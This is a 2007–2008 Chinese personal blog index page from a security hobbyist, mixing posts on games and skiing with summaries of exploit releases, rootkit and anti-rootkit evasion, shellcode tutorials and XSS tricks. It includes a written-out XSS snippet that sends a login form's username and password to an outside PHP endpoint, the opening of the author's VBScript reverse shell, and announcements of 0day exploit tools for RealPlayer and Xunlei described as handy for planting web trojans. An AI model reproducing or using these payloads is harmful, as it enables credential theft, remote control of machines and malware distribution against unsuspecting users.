摘要: 开发人员兢兢业业搞研发、开源，商业公司却拿去申请专利

或许只是看了下面三行，您就忍不住想吐，那么麻烦坚持一下，如果可以的话顶一下日志我会感到万份荣幸

金山
删除FAT卷中文件的方法，　　　　　　申请号：200610122249.5
彻底粉碎FAT卷中文件数据的方法，　　申请号：200610122247.6
彻底粉碎NTFS卷中文件数据的方法，　　申请号：200610122479.1
一种Windows平台下对抗API挂接的方法 http://www.cpsfu.com/G06F/2007/CN1936834.shtml
.............
阅读全文

posted @ 2008-03-12 16:43 009 阅读(1503) | 评论 (8) | 编辑收藏

oracle真烂

摘要: 自从orale注入可以执行系统命令后，觉得oracle安全性实在太烂了，容易获得系统权限，又动不动就死翘翘

昨天给朋友做个渗透测试，稍微扫扫就死了
以前给客户做渗透测试也经常碰到过oracle死掉的问题
相比MSSQL，估计也就只有巨型数据查询速度快的优势了

阅读全文

posted @ 2008-03-08 19:33 009 阅读(1546) | 评论 (1) | 编辑收藏

刚玩了会PSP的战神，不错的游戏

摘要:

终于下完了众人期待的大作，PSP只用来看碟好几年了，今天终于拷个游戏玩玩

虽然还是拜托不了一个穿着性感的肌肉男，拿着怪异的兵器到处杀人（怪）的模式，不过画面和游戏性都是不错的说，操作非常爽快（但是我肯定没耐心玩完）

最近比较堕落，还有些公司的破事（好像谈到公司的事都是破事），没写什么技术性的文章也没看什么技术性的文章

阅读全文

posted @ 2008-03-07 22:13 009 阅读(1000) | 评论 (3) | 编辑收藏

灰常灰常灰常搞笑的比尔.盖茨最后一天（视频）

posted @ 2008-02-22 21:31 009 阅读(1243) | 评论 (1) | 编辑收藏

缺德的品牌机

摘要:
很多攒机的朋友都知道这个规律
品牌机为了吸引顾客，主要配件的配置会让你看着很高
为了降低成本，往往有某一个或者几个配件很“缺德”，要么杂牌，要么很低的配置

朋友一台式机，老抱怨慢，重装也不行，看分辩率高点的电影还顿，我问配置，答曰：CPU 2.50G 内存248M（估计256M）

朋友机器联想的

我就写明牌子了，咋的
阅读全文

posted @ 2008-02-21 22:38 009 阅读(1012) | 评论 (0) | 编辑收藏

用工具下载fs2you资源

摘要: javascript:window.setTimeout=null;showDirectDownload() 阅读全文

posted @ 2008-02-20 14:04 009 阅读(3086) | 评论 (3) | 编辑收藏

KmPlayer播放某些DVDRip时候对白声音小，背景声音大的解决方法

摘要: 老家的台式机坏了，好不容易修好了，也没啥用，就当“碟机”吧，重装系统，就装了个winrar和kmplayer
kmplayer播放某些avi文件的时候，对白小到几乎听不到，偶尔出现的背景音乐大到吓人，网上找了很多，准备按照步骤做，发现就没有提到的解码方式，我下的是kmplayer带所有解码包的版本，估计是没有注册。

在命令行到kmplayer的codecs目录，
执行如下命令：
........
阅读全文

posted @ 2008-02-19 11:29 009 阅读(6134) | 评论 (3) | 编辑收藏

滑雪笔记（备忘）

摘要: 犁式（八字）第一次滑就会了，水平到了一定高度，就很难提升，哈哈，今天恨了下心，租了个教练学平行式的，顺便纠正了一下以前犁式的BUG
以下备忘，以便下次滑（说不定一年后），省得又花太多时间复习以前的技术
犁式：内八字（缓坡减速，刹车功效），重心在中间，左转重心在右脚，右转重心在左脚（惯性原理，总之重心在坡下那只脚，转弯外侧，如果你不是往坡上滑的话），板基本上水平（不是和破面平），刮雪才能起到减速作用，靠板立起的角度控制滑雪速度。
平行式：先从犁式开始，尽量使内侧的脚不受力（重心只在一条腿），能提起来，练习多次并逐渐提前抬脚的时间，直到你可以完全用一条滑雪板转弯，慢慢的收起来和另一只承重脚平行，如左拐，重心在右脚，左脚和右脚平行，要习惯双脚一高一低的感觉，用腿部的屈伸调解并保持正确的滑行姿势，转弯时尽量将外侧的膝盖置于另一只的后侧，方便下一次转换到直滑和转弯。
滑行过程中，重心前倾，小腿面和鞋梆之间要明显感觉到压力，重心稍低，双手前伸，保持平衡。挪板使之急停感觉应该是脚跟用力往坡下踩，使板横过来，高速下腿承受很大冲击力，得慢慢学习。
原地滑行：外八字阅读全文

posted @ 2008-02-03 23:23 009 阅读(902) | 评论 (1) | 编辑收藏

今天终于把朋友们的火车票都搞定了

摘要: 总算是公德圆满

今年票贩子加价比票价还高，真是汗
有两张安检那里买的，可靠性没得说
...............
阅读全文

posted @ 2008-01-31 23:20 009 阅读(906) | 评论 (1) | 编辑收藏

用C++修改本地安全策略

摘要: 要写个修改本地安全策略的工具，本以为修改注册表就行了，没想到还挺复杂，改策略，对应的注册表项会变，倒过来，改对应的注册表项，策略没变，郁闷
[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account] |--------------------------------修改次数
"F"=hex:02,00,01,00,00,00,00,00,e0,7c,9e,21,1a,12,c6,01,43,00,00,00,00,00,00,\ 00 ~ 22
00,00,80,d2,16,47,b9,ff,ff,00,80,2c,ab,6d,fe,ff,ff,00,00,00,00,00,00,00,80,\ 23 ~ 47
00,cc,1d,cf,fb,ff,ff,ff,00,cc,1d,cf,fb,ff,ff,ff,00,00,00,00,00,00,00,00,f1,\ 48 ~ 72
03,00,00,00,00,00,00,02,00,18,00,00, 阅读全文

posted @ 2008-01-30 13:30 009 阅读(3418) | 评论 (4) | 编辑收藏

一段有趣的脚本

摘要: 任何网站,打开后(有图片的),浏览器输入

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0);
阅读全文

posted @ 2008-01-21 19:39 009 阅读(1528) | 评论 (3) | 编辑收藏

新手编译驱动

摘要: 网上找了N多资料,说得我晕头转向的,都是TMD资深顾问级别的文章,最后简单几步也可以搞定,过程如下:

我的SDK本来就是装好的,再装个DDK,就是重装系统,只要DDK目录还在,重新指定下即可,不用重装DDK
DDK目录为: f:\WINDDK\3790.1830

以下以HelloWorld为例
-----------------------------------------HelloWorld.h---------------------------------------------------
#ifndef __HELLOWORLD_H__
#define __HELLOWORLD_H__
#include
.................
阅读全文

posted @ 2008-01-08 16:20 009 阅读(2548) | 评论 (7) | 编辑收藏

简单认识Anti-RootKit(ZT)

摘要: 现在RK（rootkit）和ARK(anti- rootkit)的斗争已经进行了很久，在印象中最早出来的ARK工具是冰刃(IceSword)，从冰刃开始出来到现在RK和ARK的斗争一直在继续，目前冰刃还是在流行当中，自己感觉也正是冰刃的出来才带动了当前流行的RK和ARK的斗争呵呵，现在很多病毒木马已经广泛的带有驱动,使用一些RK的技术和方法使自己更底层些更强大些，当前流行的ARK工具主要包括：隐藏进程检测，内核驱动检测，SSDT检测，代码HOOK检测，注册表隐藏的检测，隐藏文件的检测等一些功能的，下面谈谈自己对一些功能的简单愚见嘻嘻。
..........
阅读全文

posted @ 2007-12-29 15:09 009 阅读(1878) | 评论 (1) | 编辑收藏

无耻的驱动加载法(ZT)

摘要: 方法一：替换win32k.sys
在2k3的系统下ZwSetSystemInformation禁止了用户模式下加载驱动，只允许SMSS.exe加载win32k.sys。于是我们可以利用一下这个特点：
1. 注入SMSS.EXE
2. 打开SeLoadDriverPrivilege权限
3. 把原始的win32k.sys改名
4. 复制我们的驱动到\systemroot\system32下
5. 在SMSS.EXE中加载\\SystemRoot\\System32\\win32k.sys
6. 把\\SystemRoot\\System32\\win32k.sys改名
7. 把原始的win32k.sys文件改名改回去
..............
阅读全文

posted @ 2007-12-29 14:59 009 阅读(2303) | 评论 (0) | 编辑收藏

实例解析蠕虫病毒的原理(ZT)

摘要: 　　一、蠕虫病毒具有自我复制能力

　　我们以普通的VB脚本为例来看看：
JavaScript代码

1. Set objFs=CreateObject ("Scripting.FileSystemObject")
2. '创建一个文件系统对象
3. objFs.CreateTextFile ("C:\virus.txt", 1)
4. '通过文件系统对象的方法创建了一个TXT文件。
.....................
阅读全文

posted @ 2007-12-28 15:44 009 阅读(1864) | 评论 (1) | 编辑收藏

软件漏洞分析入门[初级shellcode_定位缓冲区](ZT)

摘要: 跟贴中看到已经有不少朋友成功的完成了前面的所有例题，今天我们在前面的基础上，继续深入。每一讲我都会引入一些新的知识和技术，但只有一点点，因为我希望在您读完贴之后就能立刻消化吸收，这是标准的循序渐进的案例式学习方法

另外在今天开始之前，我顺便说一下后面的教学计划：

我会再用3～4次的讲座来阐述shellcode技术，确保大家能够在比较简单的漏洞场景下实现通用、稳定的溢出利用程序（exploit）
..........
阅读全文

posted @ 2007-12-28 15:41 009 阅读(2743) | 评论 (0) | 编辑收藏

软件漏洞分析入门[初级栈溢出D_植入任意代码](ZT)

摘要: 麻雀虽小，五脏俱全

如果您顺利的学完了前面4讲的内容，并成功的完成了第2讲和第4讲中的实验，那么今天请跟我来一起挑战一下劫持有漏洞的进程，并向其植入恶意代码的实验，相信您成功完成这个实验后，学习的兴趣和自信心都会暴增。

开始之前，先简要的回答一下前几讲跟贴中提出的问题

代码编译少头文件问题：可能是个人习惯问题，哪怕几行长的程序我也会丢到project里去build，而不是用cl，所以没有注意细节。如果你们嫌麻烦，不如和我一样用project来build，应该没有问题的。否则的话，实验用的程序实在太简单了，这么一点小问题自己决绝吧。另外，看到几个同学说为了实验，专门恢复了古老的VC6.0，我也感动不已啊，呵呵。
...............
阅读全文

posted @ 2007-12-28 15:40 009 阅读(2288) | 评论 (1) | 编辑收藏

软件漏洞分析入门[初级栈溢出C_修改程序流程](ZT)

摘要: 上节课没有操练滴东西，不少蠢蠢欲动的同学肯定已经坐不住了。悟空，不要猴急，下面的两堂课都是实践课，用来在实践中深入体会上节课中的知识，并且很有趣味性哦

信息安全技术是一个对技术性要求极高的领域，除了扎实的计算机理论基础外、更重要的是优秀的动手实践能力。在我看来，不懂二进制就无从谈起安全技术。

缓冲区溢出的概念我若干年前已经了然于胸，不就是淹个返回地址把CPU指到缓冲区的shellcode去么。然而当我开始动手实践的时候，才发现实际中的情况远远比原理复杂。
................
阅读全文

posted @ 2007-12-28 15:39 009 阅读(1509) | 评论 (0) | 编辑收藏

软件漏洞分析入门[初级栈溢出B_系统栈原理](ZT)

摘要: 扫盲班第三讲开课啦！
上节课我们用越过数组边界的一个字节把邻接的标志变量修改成0，从而突破了密码验证程序。您实验成功了吗？没有的话回去做完实验在来听今天的课！

有几个同学反映编译器的问题，我还是建议用VC6.0，因为它build出来的PE最适合初学者领会概念。而且这门课动手很重要，基本上我的实验指导都是按VC6.0来写的，用别的build出来要是有点出入，实验不成功的话会损失学习积极性滴——实验获得的成就感是学习最好的动力。
............
阅读全文

posted @ 2007-12-28 15:34 009 阅读(1653) | 评论 (0) | 编辑收藏

软件漏洞分析入门[初级栈溢出A_初识数组越界](ZT)

摘要: 本想来点大道理申明下研究思路啥的，看到大家的热情期待，稍微调整一下讲课的顺序。从今天开始，将用3～4次给大家做一下栈溢出的扫盲。

栈溢出的文章网上还是有不少的（其实优秀的也就两三篇），原理也不难，读过基本上就能够明白是怎么回事。本次讲解将主要集中在动手调试方面，更加着重实践。

经过这3～4次的栈溢出扫盲，我们的目标是：

领会栈溢出攻击的基本原理
能够动手调试简易的栈溢出漏洞程序，并能够利用漏洞执行任意代码（最简易的shellcode）
.............
阅读全文

posted @ 2007-12-28 15:33 009 阅读(1460) | 评论 (3) | 编辑收藏

软件漏洞分析入门[引子](ZT)

摘要: 您是否梦想过能够像电影上演的那样黑进任意一台机器远程操控？您的梦想是否曾经被书店里边满架子的反黑，防毒，擒木马的扫盲书强暴的体无完肤？

从今天开始，准备陆续发一系列关于软件漏洞方面基础知识的帖子，包括软件漏洞的研究价值，研究方法，堆栈利用的基础知识，shellcode的调试方法，漏洞调试方法，漏洞分析，漏洞挖掘，软件安全性测试等等，此外还将介绍一些metasploit架构和fuzz测试方面的入门知识。

软件漏洞分析，利用，发掘是当今安全技术界中流砥柱级别话题，如果您关注过black hat或者defcon之类的顶级安全技术峰会的话，就知道我不是在吹牛了。可惜的是这方面的中文资料很少，偶尔有一篇比较优秀的文章但又不够系统，目前为止也没有形成像破解技术这样的讨论风气，菜鸟们在黑灯瞎火的夜晚瞎折腾，没有交流和指导，兴趣就像被拔了气弥儿芯的车胎，很快就泄气了。

虽然漏洞分析与利用与破解在技术上各有侧重点，但逆向基础是共同的。以我个人的经验，能做crack的朋友只要稍加进修就能入门。就算没有任何汇编基础和逆向经验的朋友也不用担心，因为这阅读全文

posted @ 2007-12-28 15:32 009 阅读(1298) | 评论 (3) | 编辑收藏

对 Hook 内核ntoskrnl'sZwQuerySystemInformation隐藏任务管理器进程名的一点完善(ZT)

摘要: 通过hook ssdt中的ZwQuerySystemInformation来实现隐藏进程已经是很老的技术了。
qiweixue 在他的文章里面写的很清楚了:
http://bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B

不过他的文章里面，进程名字是直接写死的，不能通过三层进行传递，而且得到ZwQuerySystemInformation是通过汇编的方法，这样在其他系统上可能会有问题，所以我做了一些改善如下：
1 通过应用程序将进程名字传递进来，可以传递多个进程名字，格式为：qq.exe;taskmgr.exe;
2 通用的方法来得到ZwQuerySystemInformation的地址，不过这个方法都是从rookit上得来的。
...........
阅读全文

posted @ 2007-12-27 22:12 009 阅读(2135) | 评论 (0) | 编辑收藏

让EXE导出函数(ZT)

摘要: 偶然发现OllyDBG.exe导出了一堆函数，这些函数都是供其插件调用的。对这种体系结构很感
兴趣，想弄清楚它的实现原理。后来又看到梁肇新的书《编程高手箴言》第278页提到的调用
门，觉得都应该差不多。

三种不同的解决办法（原理可能是一样的，:)）：

1）在导出函数声明之前加上__declspec(dllexport)。例：
__declspec(dllexport) int Add(int a, int b);
__declspec(dllexport) int Sub(int a, int b);
__declspec(dllexport) int Mul(int a, int b);
__declspec(dllexport) int Div(int a, int b);
..........
阅读全文

posted @ 2007-12-27 22:11 009 阅读(1712) | 评论 (0) | 编辑收藏

icesword 驱动部分分析(ZT)

摘要: icesword.exe 在执行的时候会放出一个驱动程序 ispubdrv.sys .
icesword.exe 装载这个驱动，这个驱动安装后就不会卸载。直到系统重新启动。这可能是因为驱动中调用了
PsSetCreateThreadNotifyRoutine 函数.下面是这个函数在 ddk 中的介绍。
........
阅读全文

posted @ 2007-12-27 22:01 009 阅读(684) | 评论 (0) | 编辑收藏

利用伪造内核文件来绕过IceSword的检测(ZT)

摘要: 一、为什么需要伪造内核：

IceSword（以下简称IS）为了防止一些关键系统函数（包括所有服务中断表中的函数以及IS驱动部分要使用到的一些关键函数）被 patch，它直接读取内核文件（以下简称“ntoskrnl.exe”），然后自己分析ntoskrnl.exe 的PE结构来获取关键系统函数的原始代码并且把当前内核中所有的关键系统函数还原为windows默认状态，这样保证了IS使用到的函数不被patch 过。也许你会想如果我们把还原后的函数再进行patch不还是能躲的过去吗？笔者也试过
.....................
阅读全文

posted @ 2007-12-27 21:58 009 阅读(920) | 评论 (0) | 编辑收藏

WIN下获取kernel基址的shellcode探讨(ZT)

摘要: [经典溢出攻击流程]
———————————
1. 查找Kernel32.dll基地址；
2. 查找GetProcAddress()函数地址；
3. 查找其它API函数地址；
4. CreateProcess()；
5. 远程连接。

我们都知道WINDOWS的系统功能不像UNIX的系统调用那样实现，由于WINDOWS版本的不断更新，使得系统调用对SHELLCODE几乎起不到作用。
但是WINDOWS是靠DLL动态链接库来实现，这就是说，如果能从KERNEL32.DLL中获取LoadLibrary()和GetProcAddress()函数的地址，我们就可以调用WINDOWS下的所有函数了。
所以我们需要对KERNEL32.DLL进行地址定位，这也是本文的目的。
................
阅读全文

posted @ 2007-12-27 21:43 009 阅读(1424) | 评论 (0) | 编辑收藏

SEH源码赏析之C篇(ZT)

摘要:
1.起因
C++程序员对try,catch,throw都应该很熟悉,能知道VC怎么实现它的人就不多了,不过网络世界使很多人知道了它与SEH (structured exception handling）有密切关系,我也不例外,也是在若干年前从网络知道了SEH,并且大致也知道SEH的流程.但是和多数人一样在我的实践也很少直接使用 SEH,对SEH也就仅限于网络上一些文章的介绍.曾经在用Windbg对某些软件作分析,我遇到了断点失效的情况,查找资料介绍是SEH中的 Handler清除了调试寄存器,在分析.....................
阅读全文

posted @ 2007-12-27 21:36 009 阅读(1206) | 评论 (1) | 编辑收藏

饶过现代Anti-Rookit工具的内核模块扫描(ZT)

摘要: 本文描述了一些方法，可以饶过目前主流的现代Anti-rootkit工具，包括但不限于:
Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti-rootkit最新版
等等
................
阅读全文

posted @ 2007-12-27 21:32 009 阅读(487) | 评论 (0) | 编辑收藏

TCP版backshell的VBS脚本

摘要: '搞一个特殊的站准备用的，没想到，等写完了，洞补上了，郁闷
'by 009, baicker@hotmail.com
'date:071221

Dim revdata
set sock=WScript.createobject( "MSWinsock.Winsock" , "WSEvent_" )
set sc=createobject( "WScript.Shell" )
Set fso =CreateObject( "Scripting.FileSystemObject" )
sock.connect "127.0.0.1" , 1234
................

阅读全文

posted @ 2007-12-22 16:19 009 阅读(1109) | 评论 (0) | 编辑收藏

在同一个进程空间运行两个程序(ZT)

摘要:
　　众所周知，bo2k可以在一个指定的进程空间(比如explorer.exe进程)做为一个线程运行。本文试图找出一种方法，使得任意exe都可以在其他进程中以线程运行(当然，这里说的"任意"是有条件的，下面会讲到)。
　　为行文简单起见，我把先加载的exe称为宿主，后加载的exe称为客户。对于上面的例子，explorer.exe为宿主，bo2k.exe为客户。
基本知识
　　每一个exe都有一个缺省加载基址，一般都是0x400000。如果实际加载基址和缺省基址相同，程序中的重定位表就不需要修正(fixup),否则，就必须修正重定位表；

阅读全文

posted @ 2007-12-20 14:36 009 阅读(1178) | 评论 (0) | 编辑收藏

Microsoft Jet Engine MDB File Parsing Stack Overflow Vulnerability for xp 2k3 (fixed)

摘要: 之前的反弹sc有问题，请重新下载测试（071218）
阅读全文

posted @ 2007-12-18 12:23 009 阅读(938) | 评论 (0) | 编辑收藏

Windows Local Privilege Escalation Vulnerability Exploit(secdrv) for winxp & win2k3

摘要: secdrv local exp
winxp cn sp2, win2k3 cn sp1 测试通过

之前的版本只能xp下用，这个2k3也可以了，其实前段时间朋友给过我一个这个漏洞的1day，但是朋友的东西不能乱发，这个是自己写的，发出来大家恶心一下。阅读全文

posted @ 2007-12-17 16:34 009 阅读(1569) | 评论 (6) | 编辑收藏

收到同学寄给我的情书

posted @ 2007-12-15 21:58 009 阅读(1085) | 评论 (2) | 编辑收藏

Microsoft Jet Engine MDB File Parsing Stack Overflow Vulnerability for xp 2k3

摘要: Win2k3_CN SP1 msjet40.dll ver 4.0.9025.0 测试成功
WinXP_CN SP2 msjet40.dll ver 4.0.8618.0 测试成功

mdb_d_exp.exe 为debug版本
mdb_r_exp.exe 为relrease版本
之前的反弹sc有问题，请重新下载测试（071218）

阅读全文

posted @ 2007-12-01 06:29 009 阅读(1275) | 评论 (10) | 编辑收藏

搞定MDB最新溢出for win2003

posted @ 2007-11-30 03:14 009 阅读(1083) | 评论 (0) | 编辑收藏

MS07-017 windows 2000 and windows xp sp2 真正修改能用版本(fixed)

摘要: 注：Windows2000_CN SP2(我只有这台SP2的2k测试机)，WindowsXP_CN SP2测试通过
网上流传的都TMD垃圾不能用，不知道抄来抄去转来转去哪些代码转错了

这个是我自己修改过的
阅读全文

posted @ 2007-11-26 22:47 009 阅读(1045) | 评论 (2) | 编辑收藏

Windows Local Privilege Escalation Vulnerability Exploit

摘要: 小改了一下代码，这下好用了

WinXP_CN SP2测试通过
Win2k3测试蓝屏，注意保存文件哦阅读全文

posted @ 2007-11-26 18:46 009 阅读(1474) | 评论 (2) | 编辑收藏

Realplay ActiveX 0day 利用工具

摘要: 注：Windows2003_CN SP1 / WindowsXP_CN SP2 + RealPlay10.0 测试通过
好像10.5以下版本都中，这个似乎只能溢出一次，第一次溢出成功后，第二次开始会有realplay修复数据库的提示，点修复就中，取消不中

上次测试使用的"Windows 按钮突破专家" 4.5K 溢出没问题，但是"iecv.exe"那个87K
溢出的时候老是看不到界面，其实已经执行（进程中可以看到），不知道为什么(不知道是否大小问题)

另：IE5不中，代码中直接跳过了
阅读全文

posted @ 2007-11-25 20:25 009 阅读(783) | 评论 (7) | 编辑收藏

迅雷5 0day 利用工具

摘要: 迅雷官方最新版本迅雷(Thunder5.7.4.401)依然受此漏洞影响
挂马相当好用，只是如果用iframe，宽高不能为0
（pplayer.dll 组件版本号：1.2.3.49，CLSID:F3E70CEA-956E-49CC-B444-73AFE593AD7F）
阅读全文

posted @ 2007-11-25 20:19 009 阅读(637) | 评论 (0) | 编辑收藏

PSP 3.52 M33-2 播放UMD Video ISO(备忘)

posted @ 2007-11-23 11:05 009 阅读(1113) | 评论 (0) | 编辑收藏

JavaScript加密解密7种方法

摘要: 本文一共介绍了七种javascript加密方法：

　　在做网页时（其实是网页木马呵呵），最让人烦恼的是自己辛辛苦苦写出来的客户端IE运行的javascript代码常常被别人轻易的拷贝，实在让自己的心里有点不是滋味，要知道自己写点东西也挺累的......^*^

　　但我们也应该清楚地认识到因为javascript代码是在IE中解释执行，要想绝对的保密是不可能的，我们要做的就是尽可能的增大拷贝者复制的难度，让他知难而退（但愿~!~），下面我结合自己这几年来的实践，及个人研究的心得，和大家一起来探讨一下网页中javascript代码的加密解密技术。

　　以加密下面的javascript代码为例：
......

阅读全文

posted @ 2007-11-16 13:42 009 阅读(933) | 评论 (0) | 编辑收藏

Unicode编码表/0000-0FFF

posted @ 2007-11-16 10:24 009 阅读(19442) | 评论 (3) | 编辑收藏

VC编译优化设置

摘要: VC- Project Setting-Debug-Project Option语法解释

-优化-
/O1 最小化空间 minimize space
/Op[-] 改善浮点数一致性 improve floating-pt consistency
/O2 最大化速度 maximize speed
/Os 优选代码空间 favor code space
/Oa 假设没有别名 assume no aliasing
/Ot 优选代码速度 favor code speed
/Ob 内联展开（默认 n=0） inline expansion (default n=0)
/Ow 假设交叉函数别名 assume cross-function aliasing
/Od 禁用优化（默认值） disable optimizations (default)
/Ox 最大化选项。(/Ogityb2 /Gs) maximum opts. (/Ogityb1 /Gs)
/Og 启用全局优化阅读全文

posted @ 2007-11-16 10:20 009 阅读(1890) | 评论 (0) | 编辑收藏

autorun.inf完全操作手册(ZT)

摘要: 一、autorun.inf是windows下操纵光盘行为的一个文件，需要放在光盘根目录下，部分操作对于硬盘也适用。
二、autorun.inf是可以被禁止的。方法如下：
点击开始->运行，在文本框中输入regedit或者regedt32。依次展开HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer，其中的NoDriveTypeAutoRun子键限制着Autorun的作用范围，默认为95（16进制）。
................
阅读全文

posted @ 2007-11-16 10:16 009 阅读(594) | 评论 (0) | 编辑收藏

Flash纯脚本生成饼图(ZT)

posted @ 2007-11-16 10:09 009 阅读(437) | 评论 (0) | 编辑收藏

清空代码防止查看源代码(ZT)

posted @ 2007-11-16 09:45 009 阅读(557) | 评论 (0) | 编辑收藏

一些XSS小技巧(ZT)

摘要: 1.最短的动态插入JS.
代码:
<x/**/style=xss:expression(document.appendChild(document.createElement('script')).src='xss.js')>

2.获取表单密码.
代码:
window.onload=function(){document.forms['login'].onsubmit=function(){var a=new Image();a.src="http://127.0.0.1/loveshell.php"+this.username.value+"&"+this.password.value;this.submit();}};
.......

阅读全文

posted @ 2007-11-08 13:11 009 阅读(1479) | 评论 (0) | 编辑收藏

程序多开器

摘要: 使用OD反汇编修改NateOn，虽然很麻烦，最终还是搞定了，后来发现网上有段代码，直接可以实现程序多开，测试了MSN、NateOn没问题，代码如下：

.386
.model flat, stdcall
option casemap :none

include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
............

阅读全文

posted @ 2007-11-07 16:54 009 阅读(767) | 评论 (0) | 编辑收藏

完整XSS wrom入侵流程(ZT)

摘要: 不说废话，且看怎么实现，我先拿SOHU BLOG做示范.

1.测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些.
’’;:!--"<javascript JAvaSCriPT>=&#{()} \/
结果
’’;:!--"=&#{()} // (&后是amp,论坛过滤了)
.........
阅读全文

posted @ 2007-11-07 10:53 009 阅读(436) | 评论 (0) | 编辑收藏

2007年11月7日

公告

常用链接

留言簿(113)

随笔分类

随笔档案

文章分类

相册

Link

搜索

最新评论

阅读排行榜

评论排行榜

酒水不犯茶水叶的离去，是风的追求还是树的不挽留？
BlogJava \| 首页 \| 发新随笔 \| 发新文章 \| 联系 \| 聚合 \| 管理	随笔：325 文章：0 评论：612 引用：0